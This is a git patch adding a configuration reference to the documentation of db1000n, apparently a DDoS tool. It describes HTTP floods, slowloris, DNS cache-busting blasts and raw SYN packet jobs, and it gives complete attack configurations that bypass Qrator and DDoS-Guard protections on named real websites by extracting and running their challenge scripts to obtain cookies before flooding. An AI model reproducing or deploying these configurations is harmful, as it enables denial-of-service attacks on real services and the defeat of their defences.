From 0127b6eb5f1602c63d007af6d95b87c1d9761017 Mon Sep 17 00:00:00 2001 From: arriven <20084245+Arriven@users.noreply.github.com> Date: Fri, 7 Oct 2022 11:02:35 +0300 Subject: [PATCH] add config-file reference to the docs --- docs/advanced-docs/config-reference.md | 453 +++++++++++++++++++++++++ 1 file changed, 453 insertions(+) create mode 100644 docs/advanced-docs/config-reference.md diff --git a/docs/advanced-docs/config-reference.md b/docs/advanced-docs/config-reference.md new file mode 100644 index 00000000..bd7fdd5d --- /dev/null +++ b/docs/advanced-docs/config-reference.md @@ -0,0 +1,453 @@ +# Overview + +The main entity of the config is 'jobs' which fully describe how the load should be generated by db1000n. Each job is laucnhed in it's own goroutine (i.e. green threads which don't bear the overhead of system threads). The config can be specified as yaml (or json since any valid json is also a valid yaml), I'll be using yaml in examples bc it's easier to read + +There are 2 types of jobs: ones that perform actual load generation and utility ones + +There are only 2 types of load generation jobs present: + +- http - generates fully valid http traffic (each request waits for a response) where you can specify every field of the request (can be templated). Due to the need to wait for a response before sending the next packet it is able to generate much less load than packetgen + +```yaml +- type: http # also has 'http-flood' allias + args: + dynamic: false # set to true to make it evaluate templates for each request + request: + method: POST # can be any string, so any method works + path: http://lolkek/test + body: "some string" # if you want a json or something like that you'll have to format it manually + headers: + Authorization: "Bearer: some-random-uuid" + cookies: # you can also specify cookies via headers, this is just a more pleasant interface + _dlp: some-value + _dcp: "{{ random_alphanum 10 }}" # this would be evaluated on each request if we set 'dynamic' to true + client: + static_host: + addr: 127.0.0.1:8080 # allows to specify different address to connect to than the one in URI path. Useful to skip DNS resolution (both for performance and to avoid DNS being re-targeted to some other resource) + is_tls: false # optional, force only tls or no_tls connections, will fail if schema in the path is mismatched +``` + +- packetgen - allows you to specify which type of connection you want to open (tcp/udp/tcp+tls/ip) and the type of packet (or sequence of packets) you wish to send. + +```yaml +- type: packetgen + args: + dynamic: false # set to true to make it evaluate templates for each request + connection: # connection settings + type: net # "net" used for L4+ connections (udp, tcp, tcp+tls), use "raw" example for ip connections + args: + protocol: "tcp" # tcp or udp + address: "localhost:1234" + tls_config: # optional, avoid this block for a raw tcp connection. not sure how it will behave in case of a udp connection + insecure_skip_verify: true + packet: # packets + payload: # L5-L7 content for the packets being sent, for "net" connections it's the only part that is needed as everything else is generated by runtime + type: raw # plain old string, can also be "http", "icmpv4", "dns" + data: + payload: "test" # content for "raw" payload type + +- type: packetgen + args: + dynamic: true # set to true to make it evaluate templates for each request + connection: # connection settings + type: net # "net" used for L4+ connections (udp, tcp, tcp+tls), use "raw" example for ip connections + args: + protocol: "tcp" # tcp or udp + address: "localhost:1234" + tls_config: # optional, avoid this block for a raw tcp connection. not sure how it will behave in case of a udp connection + insecure_skip_verify: true + packet: # packets + payload: # L5-L7 content for the packets being sent, for "net" connections it's the only part that is needed as everything else is generated by runtime + type: http # example of http payload, 'data' contais same layout as 'request' in http job + data: + method: GET + path: https://itarmy.com.ua/ + headers: + User-Agent: "{{ random_user_agent }}" # this one will be evaluated either once or on every request based on 'dynamic' value + +- type: packetgen + args: + dynamic: false # set to true to make it evaluate templates for each request + interval: 1s # to send packets every second + connection: # connection settings + type: net # "net" used for L4+ connections (udp, tcp, tcp+tls), use "raw" example for ip connections + args: + protocol: "tcp" # tcp or udp + address: "localhost:1234" + tls_config: # optional, avoid this block for a raw tcp connection. not sure how it will behave in case of a udp connection + insecure_skip_verify: true + packets: # can be a sequence, this is an example of slowloris impl + - packet: + payload: # L5-L7 content for the packets being sent, for "net" connections it's the only part that is needed as everything else is generated by runtime + type: raw # plain old string, can also be "http", "icmpv4", "dns" + data: + payload: "POST / HTTP/1.1\nHost: itarmy.com.ua\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 100\n\n" + - count: 100 + packet: + payload: # L5-L7 content for the packets being sent, for "net" connections it's the only part that is needed as everything else is generated by runtime + type: raw # plain old string, can also be "http", "icmpv4", "dns" + data: + payload: "a" + +- type: packetgen # dns blast example + args: + connection: + type: net + args: + protocol: "udp" + address: "localhost:53" + packet: + payload: + type: dns + data: + id: "{{ random_int_n 10000 }}" + op_code: 0 + rd: true + questions: + - name: "{{ random_alphanum 10 }}.example.com" # to invalidate cache on every query + type: 1 + class: 1 + +- type: packetgen # L3 connection example, to be honest, I haven't been able to make a working test suite for this one where I was able to receive that traffic on a server so it remains to be tested + args: + dynamic: false # set to true to make it evaluate templates for each request + connection: # connection settings + type: raw # "net" used for L4+ connections (udp, tcp, tcp+tls), use "raw" example for ip connections + args: + network: "ip4+:tcp" # ip network name + address: "0.0.0.0" + packet: + network: # network layer config + type: ipv4 # can be ipv4 or ipv6 + data: + src_ip: "{{ local_ip }}" + dst_ip: '{{ resolve_host "localhost" }}' + transport: # transport layer config, can be tcp or udp + type: tcp + data: + src_port: "{{ random_port }}" + dst_port: "1234" + flags: + syn: true + payload: # same as with "net" connections + type: raw + data: + payload: "test" +``` + +As for utility jobs - these are the ones that allow you as an admin to implement complex attack scenarios (like calculating ddos-protection cookies before launching the attack): + +- parallel - launches all the embedded job in separate goroutines (you can think of the root level config as of a single parralel job) + +```yaml +- type: parallel + args: + jobs: + - type: packetgen + args: {} # replace with actual content + - type: packetgen + args: {} # replace with actual content +``` + +- sequence - runs each embedded job in sequence until an error is encountered, passing state from one job to another (see set-value job) + +```yaml +- type: sequence + args: + jobs: + - type: set-value + name: useragent # defines where data will be stored + args: + value: "{{ random_user_agent }}" + - type: log + args: + text: 'user-agent: {{ .Value (ctx_key "data.useragent") }}' +``` + +- log - log some text to console (mostly useful for debugging) + +```yaml +- type: log + args: + text: 'user-agent: {{ .Value (ctx_key "data.useragent") }}' +``` + +- set-value - in sequence jobs, stores some value into the state passed to next jobs. The value will then be available as '{{ .Value (ctx_key "data.jobname") }}' + +```yaml +- type: set-value + name: useragent # defines where data will be stored + args: + value: "{{ random_user_agent }}" +``` + +- check - evaluates the expression and returns an error if it doesn evaluate to "true", useful to break loops/sequences early + +```yaml +- type: check + args: + value: "false" # will always return error +``` + +- discard-error - used to discard an error returned from the job (if you don't want to break the loop/sequence) + +```yaml +- type: loop + args: + job: + type: discard-error # will discard error of embedded job leading to an infinite loop + args: + job: + type: check + args: + value: "false" # will always return error +``` + +- sleep - simply sleeps for a predefined amount of time + +```yaml +- type: sequence + args: + jobs: + - type: sleep + args: + value: 5s + - type: log + args: + text: "5 seconds passed" +``` + +- timeout - allows to stop embedded job earlier if it exceedes some predefined amount of run time + +```yaml +- type: timeout + args: + timeout: 1h # run for 1 hour max + job: # defines embedded job + type: packetgen + args: {} # replace with actual values +``` + +- loop - runs embedded job in a loop until it returns an error + +```yaml +- type: loop + args: + job: # defines embedded job + type: log + args: + text: "text" +``` + +- js - evaluates a js expression and stores the result in the state (same as set-value) + +```yaml +- type: sequence + args: + jobs: + - type: js + name: testscript # defines where result will be stored + args: + script: arg1 + arg2 + data: # every key will be defined as a variable inside the js vm + arg1: 2 + arg2: 4 + - type: log + args: + text: 'testscript result: {{ .Value (ctx_key "data.testscript") }}' +``` + +- http-request - performs a single http request and stores it's result in the state (result includes status code, headers, body, cookies, or error) + +```yaml +- type: http-request + name: initial # defines where result will be stored + args: + request: + method: GET + path: https://www.citilink.ru + headers: + User-Agent: '{{ .Value (ctx_key "data.useragent") }}' + Accept: "text/html" + Accept-Language: "en-US" + Connection: "keep-alive" +- type: set-value + name: source # defines where result will be stored + args: + value: '{{ index (.Value (ctx_key "data.initial")) "response" "body" }}' +``` + +## Examples + +All of these include full config as if example job is the only one being performed by db1000n + +- Qrator bypass (before they implemented complex challenges) + +```yaml +# it is here for educational purposes only and is meant to showcase the capabilities of the tool +jobs: + - type: loop + args: + job: + type: sequence # should probably be wrapped into a loop + args: + jobs: + - type: set-value + name: useragent + args: + value: "{{ random_user_agent }}" + - type: http-request + name: initial + args: + request: + method: GET + path: https://www.citilink.ru + headers: + User-Agent: '{{ .Value (ctx_key "data.useragent") }}' + Accept: "text/html" + Accept-Language: "en-US" + Connection: "keep-alive" + - type: set-value + name: source + args: + value: '{{ index (.Value (ctx_key "data.initial")) "response" "body" }}' + - type: set-value + name: extract-script + args: + value: '{{ index (split (index (split (.Value (ctx_key "data.source")) "function() {") 1) "var config") 0 }}' + - type: js + name: exec-script + args: + script: '{{ .Value (ctx_key "data.extract-script") }}' + - type: timeout + args: + timeout: 10m # to refresh cookies every 10 minutes + job: + type: packetgen + args: + connection: # connection settings + type: net # "net" used for L4+ connections (udp, tcp, tcp+tls), use "raw" example for ip connections + args: + protocol: "tcp" # tcp or udp + address: "localhost:1234" + tls_config: # optional, avoid this block for a raw tcp connection. not sure how it will behave in case of a udp connection + insecure_skip_verify: true + packet: # packets + payload: # L5-L7 content for the packets being sent, for "net" connections it's the only part that is needed as everything else is generated by runtime + type: http # example of http payload, 'data' contais same layout as 'request' in http job + data: + method: GET + path: https://www.citilink.ru + headers: + User-Agent: '{{ .Value (ctx_key "data.useragent") }}' + cookies: + _pcl: '{{ .Value (ctx_key "data.exec-script") }}' +``` + +- DDOS-Guard bypass (only worked on noxx.is) + +```yaml +# this scenario copies the one from https://git.gay/a/ddos-guard-bypass/src/branch/master/index.js +# it is here for educational purposes only and is meant to showcase the capabilities of the tool +jobs: + - type: sequence # should probably be wrapped into a loop like qrator example, but this way it's easier to debug + args: + jobs: + - type: set-value + name: useragent + args: + value: "{{ random_user_agent }}" + - type: log + args: + text: 'user-agent: {{ .Value (ctx_key "data.useragent") }}' + - type: http-request + name: initial + args: + request: + method: GET + path: https://noxx.is + headers: + User-Agent: '{{ .Value (ctx_key "data.useragent") }}' + Accept: "text/html" + Accept-Language: "en-US" + Connection: "keep-alive" + Sec-Fetch-Dest: "document" + Sec-Fetch-Mode: "navigate" + Sec-Fetch-Site: "none" + Sec-Fetch-User: "?1" + TE: "trailers" + DNT: "1" + - type: log + args: + text: 'cookies: {{ cookie_string (index (.Value (ctx_key "data.initial")) "response" "cookies") }}' + - type: http-request + name: check + args: + request: + method: GET + path: "https://check.ddos-guard.net/check.js" + headers: + User-Agent: '{{ .Value (ctx_key "data.useragent") }}' + Accept: "*/*" + Accept-Language: "en-US,en;q=0.5" + Accept-Encoding: "gzip, deflate" + Referer: https://noxx.is + Cookie: '{{ cookie_string (index (.Value (ctx_key "data.initial")) "response" "cookies") }}' + Sec-Fetch-Dest: "script" + Sec-Fetch-Mode: "no-cors" + Sec-Fetch-Site: "cross-site" + - type: set-value + name: check-body + args: + value: '{{ index (.Value (ctx_key "data.check")) "response" "body"}}' + - type: set-value + name: id + args: + value: '{{ index (split (index (split (.Value (ctx_key "data.check-body")) "/.well-known/ddos-guard/id/") 1) "''") 0 }}' + - type: log + args: + text: 'id: {{ .Value (ctx_key "data.id") }}' + - type: http-request + name: final-cookies-request + args: + request: + method: GET + path: 'https://ddos-guard.net/.well-known/ddos-guard/id/{{ .Value (ctx_key "data.id") }}' + headers: + User-Agent: '{{ .Value (ctx_key "data.useragent") }}' + Accept: "image/webp,*/*" + Accept-Language: "en-US,en;q=0.5" + Accept-Encoding: "gzip, deflate" + Cache-Control: "no-cache" + Referer: https://noxx.is + Cookie: '{{ cookie_string (index (.Value (ctx_key "data.initial")) "response" "cookies") }}' + Sec-Fetch-Dest: "script" + Sec-Fetch-Mode: "no-cors" + Sec-Fetch-Site: "cross-site" + - type: set-value + name: final-cookies + args: + value: '{{ cookie_string (index (.Value (ctx_key "data.final-cookies-request")) "response" "cookies") }}' + - type: log + args: + text: 'cookies: {{ .Value (ctx_key "data.final-cookies") }}' + - type: http-request # replace with packetget/http-flood in actual attack scenario, potentially wrapped into timeout to refresh cookies at regular intervals + name: actual-request + args: + request: + method: GET + path: https://noxx.is + headers: + User-Agent: '{{ .Value (ctx_key "data.useragent") }}' + Referer: https://noxx.is + Cookie: '{{ .Value (ctx_key "data.final-cookies") }}' + - type: log + args: + text: 'body: {{ index (.Value (ctx_key "data.actual-request")) "response" "body" }}' + - type: log + args: + text: 'headers: {{ index (.Value (ctx_key "data.actual-request")) "response" "headers" }}' + - type: log + args: + text: 'cookies: {{ index (.Value (ctx_key "data.actual-request")) "response" "cookies" }}' +```